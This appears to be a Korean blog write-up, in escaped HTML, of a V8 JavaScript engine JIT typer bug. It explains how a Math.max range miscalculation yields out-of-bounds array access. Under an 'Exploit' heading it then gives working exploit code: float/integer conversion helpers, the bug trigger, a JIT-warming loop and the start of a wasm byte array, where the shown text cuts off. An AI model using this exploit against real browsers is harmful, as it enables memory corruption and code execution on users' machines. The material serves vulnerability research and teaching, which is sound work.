&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;code-colorize&quot; style=&quot;width: 100%; position: relative !important; overflow: auto; font-size: 14px; font-family: Consolas, 'Liberation Mono', Menlo, Courier, monospace !important;&quot;&gt;
&lt;table class=&quot;code-colorize&quot; style=&quot;width: 100%; margin: 0; padding: 0; border: 1px solid #D8D8D8; border-radius: 4px; background-color: #f8f8f8;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; padding-left: 6px; text-align: left;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; line-height: 130%; color: #000000;&quot;&gt;=====&lt;br /&gt;NaN&lt;br /&gt;NaN&lt;br /&gt;NaN&lt;br /&gt;NaN&lt;br /&gt;NaN&lt;br /&gt;NaN&lt;br /&gt;0&lt;br /&gt;10&lt;br /&gt;=====&lt;br /&gt;NaN&lt;br /&gt;NaN&lt;br /&gt;NaN&lt;br /&gt;0&lt;br /&gt;0&lt;br /&gt;-1022&lt;br /&gt;1073741313&lt;br /&gt;1073741323&lt;/div&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위쪽은 JIT 컴파일 전이고 아래쪽은 JIT로 최적화가 이루어진 뒤이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;최적화 이전에는 &lt;code&gt;value&lt;/code&gt; 가 모두 NaN 값을 가지다가, shift 연산으로 인해 0이라는 값을 가지고 이어서 10을 더하면서 10이 되었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;최적화 이후, 3번째 줄의 &lt;code&gt;Math.max&lt;/code&gt; 연산으로 &lt;code&gt;value&lt;/code&gt; 가 0이 되고, 그 뒤에 1022를 빼고 shift 연산으로 sign 비트를 지워 매우 큰 수를 만들었다. 1073741313이 된 이유는 V8에서 pointer compression을 적용했을 때 smi가 31비트이기 때문이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;결과적으로 실제 &lt;code&gt;value&lt;/code&gt; 의 값은 1073741323 이 되지만 &lt;code&gt;value&lt;/code&gt; 의 Range는 11 인 상태이기 때문에, &lt;code&gt;value&lt;/code&gt; 로 Array를 생성하면 OOB read/write가 가능해진다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;# Exploit&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Pointer compression이 적용된 V8은 이전과는 다르게 두 가지 스테이지를 거쳐야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;먼저 isolate (v8 heap) 내에서 값을 자유롭게 쓸 수 있는 limited AAR/AAW, 외부 공간에도 임의의 주소에 값을 읽고 쓸 수 있게 하는 full AAR/AAW 를 구현해야 한다. (물론 처음부터 64bit 주소 leak이 가능하다면 v8 heap 은 따로 공략하지 않아도 됨)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;code-colorize&quot; style=&quot;width: 100%; position: relative !important; overflow: auto; font-size: 14px; font-family: Consolas, 'Liberation Mono', Menlo, Courier, monospace !important;&quot;&gt;
&lt;table class=&quot;code-colorize&quot; style=&quot;width: 100%; margin: 0; padding: 0; border: none; border-radius: 4px; background-color: #1e1e1e;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 27px; padding: 6px; padding-left: 14px; padding-right: 14px;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; word-break: normal; text-align: right; line-height: 130%; color: #858585;&quot;&gt;1&lt;br /&gt;2&lt;br /&gt;3&lt;br /&gt;4&lt;br /&gt;5&lt;br /&gt;6&lt;br /&gt;7&lt;br /&gt;8&lt;br /&gt;9&lt;br /&gt;10&lt;br /&gt;11&lt;br /&gt;12&lt;br /&gt;13&lt;br /&gt;14&lt;br /&gt;15&lt;br /&gt;16&lt;br /&gt;17&lt;br /&gt;18&lt;br /&gt;19&lt;br /&gt;20&lt;br /&gt;21&lt;br /&gt;22&lt;br /&gt;23&lt;br /&gt;24&lt;br /&gt;25&lt;br /&gt;26&lt;br /&gt;27&lt;br /&gt;28&lt;br /&gt;29&lt;br /&gt;30&lt;br /&gt;31&lt;br /&gt;32&lt;br /&gt;33&lt;br /&gt;34&lt;br /&gt;35&lt;br /&gt;36&lt;br /&gt;37&lt;br /&gt;38&lt;br /&gt;39&lt;br /&gt;40&lt;br /&gt;41&lt;br /&gt;42&lt;br /&gt;43&lt;br /&gt;44&lt;br /&gt;45&lt;br /&gt;46&lt;br /&gt;47&lt;br /&gt;48&lt;br /&gt;49&lt;br /&gt;50&lt;br /&gt;51&lt;br /&gt;52&lt;br /&gt;53&lt;br /&gt;54&lt;br /&gt;55&lt;br /&gt;56&lt;br /&gt;57&lt;br /&gt;58&lt;br /&gt;59&lt;br /&gt;60&lt;br /&gt;61&lt;br /&gt;62&lt;br /&gt;63&lt;br /&gt;64&lt;br /&gt;65&lt;br /&gt;66&lt;br /&gt;67&lt;br /&gt;68&lt;br /&gt;69&lt;br /&gt;70&lt;br /&gt;71&lt;br /&gt;72&lt;br /&gt;73&lt;br /&gt;74&lt;br /&gt;75&lt;br /&gt;76&lt;br /&gt;77&lt;br /&gt;78&lt;br /&gt;79&lt;br /&gt;80&lt;br /&gt;81&lt;br /&gt;82&lt;br /&gt;83&lt;br /&gt;84&lt;br /&gt;85&lt;br /&gt;86&lt;br /&gt;87&lt;br /&gt;88&lt;br /&gt;89&lt;br /&gt;90&lt;br /&gt;91&lt;br /&gt;92&lt;br /&gt;93&lt;br /&gt;94&lt;br /&gt;95&lt;br /&gt;96&lt;br /&gt;97&lt;br /&gt;98&lt;br /&gt;99&lt;br /&gt;100&lt;br /&gt;101&lt;br /&gt;102&lt;br /&gt;103&lt;br /&gt;104&lt;br /&gt;105&lt;br /&gt;106&lt;br /&gt;107&lt;br /&gt;108&lt;br /&gt;109&lt;br /&gt;110&lt;br /&gt;111&lt;br /&gt;112&lt;br /&gt;113&lt;br /&gt;114&lt;br /&gt;115&lt;/div&gt;
&lt;/td&gt;
&lt;td style=&quot;padding: 6px; padding-left: 6px; text-align: left;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; line-height: 130%; color: #d4d4d4;&quot;&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;var&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;buf&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;new&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #4ec9b0;&quot;&gt;ArrayBuffer&lt;/span&gt;(&lt;span style=&quot;color: #b5cea8;&quot;&gt;8&lt;/span&gt;);&lt;br /&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;var&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;f64&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;new&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #4ec9b0;&quot;&gt;Float64Array&lt;/span&gt;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;buf&lt;/span&gt;);&lt;br /&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;var&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;u32&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;new&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #4ec9b0;&quot;&gt;Uint32Array&lt;/span&gt;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;buf&lt;/span&gt;);&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;function&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;double_to_int&lt;/span&gt;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;v&lt;/span&gt;)&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;f64&lt;/span&gt;[&lt;span style=&quot;color: #b5cea8;&quot;&gt;0&lt;/span&gt;]&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;v&lt;/span&gt;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;return&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;u32&lt;/span&gt;;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;function&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;double_to_long&lt;/span&gt;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;v&lt;/span&gt;)&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;f64&lt;/span&gt;[&lt;span style=&quot;color: #b5cea8;&quot;&gt;0&lt;/span&gt;]&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;v&lt;/span&gt;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;return&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #4ec9b0;&quot;&gt;BigInt&lt;/span&gt;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;u32&lt;/span&gt;[&lt;span style=&quot;color: #b5cea8;&quot;&gt;0&lt;/span&gt;])&amp;nbsp;+&amp;nbsp;(&lt;span style=&quot;color: #4ec9b0;&quot;&gt;BigInt&lt;/span&gt;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;u32&lt;/span&gt;[&lt;span style=&quot;color: #b5cea8;&quot;&gt;1&lt;/span&gt;])&amp;nbsp;&amp;lt;&amp;lt;&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;32&lt;/span&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;n&lt;/span&gt;);&lt;br /&gt;}&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;function&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;int_to_double&lt;/span&gt;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;lo&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;hi&lt;/span&gt;)&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;u32&lt;/span&gt;[&lt;span style=&quot;color: #b5cea8;&quot;&gt;0&lt;/span&gt;]&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;lo&lt;/span&gt;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;u32&lt;/span&gt;[&lt;span style=&quot;color: #b5cea8;&quot;&gt;1&lt;/span&gt;]&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;hi&lt;/span&gt;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;return&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;f64&lt;/span&gt;[&lt;span style=&quot;color: #b5cea8;&quot;&gt;0&lt;/span&gt;];&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;function&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;long_to_double&lt;/span&gt;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;v&lt;/span&gt;)&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;u32&lt;/span&gt;[&lt;span style=&quot;color: #b5cea8;&quot;&gt;0&lt;/span&gt;]&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #4ec9b0;&quot;&gt;Number&lt;/span&gt;(&lt;span style=&quot;color: #4ec9b0;&quot;&gt;BigInt&lt;/span&gt;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;v&lt;/span&gt;)&amp;nbsp;&amp;amp;&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;0xFFFFFFFF&lt;/span&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;n&lt;/span&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;u32&lt;/span&gt;[&lt;span style=&quot;color: #b5cea8;&quot;&gt;1&lt;/span&gt;]&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #4ec9b0;&quot;&gt;Number&lt;/span&gt;(&lt;span style=&quot;color: #4ec9b0;&quot;&gt;BigInt&lt;/span&gt;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;v&lt;/span&gt;)&amp;nbsp;&amp;gt;&amp;gt;&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;32&lt;/span&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;n&lt;/span&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;return&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;f64&lt;/span&gt;[&lt;span style=&quot;color: #b5cea8;&quot;&gt;0&lt;/span&gt;];&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;function&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;hex&lt;/span&gt;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;v&lt;/span&gt;)&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;return&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #ce9178;&quot;&gt;'0x'&lt;/span&gt;&amp;nbsp;+&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;v&lt;/span&gt;.&lt;span style=&quot;color: #dcdcaa;&quot;&gt;toString&lt;/span&gt;(&lt;span style=&quot;color: #b5cea8;&quot;&gt;16&lt;/span&gt;);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;function&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;v&lt;/span&gt;()&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;var&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;x&lt;/span&gt;&amp;nbsp;=&amp;nbsp;-&lt;span style=&quot;color: #9cdcfe;&quot;&gt;Infinity&lt;/span&gt;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;var&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;k&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;0&lt;/span&gt;;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;for&lt;/span&gt;&amp;nbsp;(&lt;span style=&quot;color: #569cd6;&quot;&gt;var&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;i&lt;/span&gt;=&lt;span style=&quot;color: #b5cea8;&quot;&gt;0&lt;/span&gt;&amp;nbsp;;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;i&lt;/span&gt;&amp;lt;&lt;span style=&quot;color: #b5cea8;&quot;&gt;1&lt;/span&gt;&amp;nbsp;;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;i&lt;/span&gt;+=&lt;span style=&quot;color: #9cdcfe;&quot;&gt;x&lt;/span&gt;)&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;if&lt;/span&gt;&amp;nbsp;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;i&lt;/span&gt;&amp;nbsp;==&amp;nbsp;-&lt;span style=&quot;color: #9cdcfe;&quot;&gt;Infinity&lt;/span&gt;)&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;x&lt;/span&gt;&amp;nbsp;=&amp;nbsp;+&lt;span style=&quot;color: #9cdcfe;&quot;&gt;Infinity&lt;/span&gt;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;if&lt;/span&gt;&amp;nbsp;(++&lt;span style=&quot;color: #9cdcfe;&quot;&gt;k&lt;/span&gt;&amp;nbsp;&amp;gt;&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;10&lt;/span&gt;)&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;break&lt;/span&gt;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;var&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;value&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;Math&lt;/span&gt;.&lt;span style=&quot;color: #dcdcaa;&quot;&gt;max&lt;/span&gt;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;i&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;1024&lt;/span&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;value&lt;/span&gt;&amp;nbsp;=&amp;nbsp;-&lt;span style=&quot;color: #9cdcfe;&quot;&gt;value&lt;/span&gt;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;value&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;Math&lt;/span&gt;.&lt;span style=&quot;color: #dcdcaa;&quot;&gt;max&lt;/span&gt;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;value&lt;/span&gt;,&amp;nbsp;-&lt;span style=&quot;color: #b5cea8;&quot;&gt;1025&lt;/span&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;value&lt;/span&gt;&amp;nbsp;=&amp;nbsp;-&lt;span style=&quot;color: #9cdcfe;&quot;&gt;value&lt;/span&gt;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;value&lt;/span&gt;&amp;nbsp;-=&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;1022&lt;/span&gt;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;value&lt;/span&gt;&amp;nbsp;&amp;gt;&amp;gt;=&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;1&lt;/span&gt;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;value&lt;/span&gt;&amp;nbsp;+=&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;10&lt;/span&gt;;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;var&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;array&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #4ec9b0;&quot;&gt;Array&lt;/span&gt;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;value&lt;/span&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;array&lt;/span&gt;[&lt;span style=&quot;color: #b5cea8;&quot;&gt;0&lt;/span&gt;]&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;1.1&lt;/span&gt;;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;return&lt;/span&gt;&amp;nbsp;[&lt;span style=&quot;color: #9cdcfe;&quot;&gt;array&lt;/span&gt;,&amp;nbsp;{}];&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #c586c0;&quot;&gt;for&lt;/span&gt;&amp;nbsp;(&lt;span style=&quot;color: #569cd6;&quot;&gt;let&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;i&lt;/span&gt;=&lt;span style=&quot;color: #b5cea8;&quot;&gt;0&lt;/span&gt;&amp;nbsp;;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;i&lt;/span&gt;&amp;lt;&lt;span style=&quot;color: #b5cea8;&quot;&gt;20000&lt;/span&gt;&amp;nbsp;;&amp;nbsp;++&lt;span style=&quot;color: #9cdcfe;&quot;&gt;i&lt;/span&gt;)&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;v&lt;/span&gt;();&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #6a9955;&quot;&gt;//&amp;nbsp;optimize&amp;nbsp;v&lt;/span&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;var&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;wasm_code&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;new&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #4ec9b0;&quot;&gt;Uint8Array&lt;/span&gt;([&lt;span style=&quot;color: #b5cea8;&quot;&gt;0&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;97&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;115&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;109&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;1&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;0&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;0&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;0&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;1&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;133&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;128&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;128&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;128&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;0&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;1&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;96&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;0&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;1&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;127&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;3&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;130&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;128&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;128&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;128&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;0&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;1&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;0&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;4&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;132&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;128&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;128&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;128&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;0&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;1&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;112&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;0&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;0&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;5&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;131&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;128&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;128&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;128&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;0&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;1&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;0&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;1&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;6&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;129&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;128&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;128&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;128&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;0&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;0&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;7&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;145&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;128&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;128&lt;/span&gt;,&lt;span 